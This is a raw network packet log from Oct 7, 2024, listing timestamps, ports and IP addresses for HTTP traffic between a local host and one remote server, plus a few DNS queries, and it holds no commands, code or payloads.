Oct 7, 2024 18:43:29.945346117 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945395947 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945395947 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945400953 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945410967 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945420027 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945431948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945434093 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945439100 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945457935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945465088 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945466995 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945476055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945477009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945477009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945485115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945492983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945494890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945513010 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945525885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945866108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945888042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945898056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945903063 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945909977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945914984 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945920944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945930958 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945935011 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945940971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.945950985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945960999 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.945983887 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946049929 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946060896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946069956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946079969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946089983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946091890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946099043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946110010 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946113110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946130037 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946140051 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946338892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946381092 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946413040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946424961 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946450949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946460009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946537971 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946547985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946557045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946567059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946573973 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946577072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946579933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946587086 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946598053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946604013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946608067 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946626902 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946636915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946661949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946693897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946783066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946793079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946803093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946813107 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946820021 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946824074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946827888 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946834087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946842909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946850061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946852922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946871042 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946887970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946887970 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946898937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946907997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946918011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946923018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946927071 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946935892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946943045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946945906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946955919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946964979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.946979046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946979046 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.946995020 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947014093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947033882 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947043896 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947046995 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947052956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947062969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947068930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947077990 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947094917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947110891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947123051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947132111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947140932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947146893 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947165966 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947185993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947454929 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947472095 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947480917 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947490931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947496891 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947500944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947504997 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947510958 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947521925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947524071 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947544098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947546005 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947554111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947562933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947562933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947573900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947582960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947582960 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947592974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947602034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947604895 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947623014 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947634935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947787046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947798014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947807074 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947815895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947824001 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947825909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947832108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947834969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947844982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947854042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947856903 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947863102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947866917 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947874069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947885036 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947891951 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947894096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947911978 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947918892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947930098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947937965 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947940111 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947948933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947949886 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947961092 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947969913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947972059 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947979927 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947988987 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.947993994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.947999001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948009014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948014021 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948019028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948035955 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948046923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948048115 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948065996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948081017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948084116 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948091030 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948100090 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948101044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948110104 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948112965 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948121071 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948129892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948129892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948138952 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948148012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948152065 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948157072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948163033 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948168039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948178053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948188066 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948189974 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948201895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948209047 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948220968 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948241949 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948519945 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948530912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948548079 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948554993 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948566914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948587894 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948620081 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948637962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948652983 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948657990 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948667049 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948668003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948676109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948682070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948684931 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948693991 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948702097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948723078 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948829889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948843002 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948852062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.948868036 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948878050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.948894978 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.967838049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.967849016 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.967858076 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.967890024 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.967911959 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.967967033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.967978001 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.967988968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.967998981 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:29.968002081 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.968014956 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:29.968028069 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.009450912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009464979 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009476900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009485960 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009495020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009505033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009515047 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009525061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009572029 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009582043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009591103 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009601116 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009605885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.009605885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.009605885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.009605885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.009609938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009619951 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.009634018 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.009675026 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.010663986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010674000 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010683060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010691881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010703087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010711908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010719061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.010723114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010754108 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.010757923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010767937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010773897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.010776997 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010786057 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010796070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010799885 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.010804892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010814905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.010828972 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.010850906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.011086941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.011132956 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.080018044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.080018044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:30.084956884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.084966898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.084974051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.085025072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.085098982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.937315941 CEST	51630	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:43:30.942303896 CEST	53	51630	162.159.36.2	192.168.2.4
Oct 7, 2024 18:43:30.942421913 CEST	51630	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:43:30.942492008 CEST	51630	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:43:30.947663069 CEST	53	51630	162.159.36.2	192.168.2.4
Oct 7, 2024 18:43:30.969750881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:30.973465919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:31.130919933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:31.130919933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:31.135957003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:31.136118889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:31.136316061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:31.653969049 CEST	53	51630	162.159.36.2	192.168.2.4
Oct 7, 2024 18:43:31.654787064 CEST	51630	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:43:31.663744926 CEST	53	51630	162.159.36.2	192.168.2.4
Oct 7, 2024 18:43:31.663820982 CEST	51630	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:43:32.131238937 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:32.136400938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:32.136497974 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:32.136662960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:32.141696930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:32.142841101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:32.142920971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:33.272911072 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:33.278243065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:33.417304039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:33.417448997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:34.323596001 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:34.630417109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:34.830985069 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:34.831047058 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:34.831505060 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:34.831561089 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:34.832225084 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:34.832510948 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:34.833306074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:34.833317995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021296978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021321058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021332979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021342993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021358967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021364927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021372080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021372080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.021406889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.021452904 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.021480083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021492004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021502972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.021526098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.021555901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.022327900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.022433043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.027075052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.027184010 CEST	51632	80	192.168.2.4	95.164.90.97
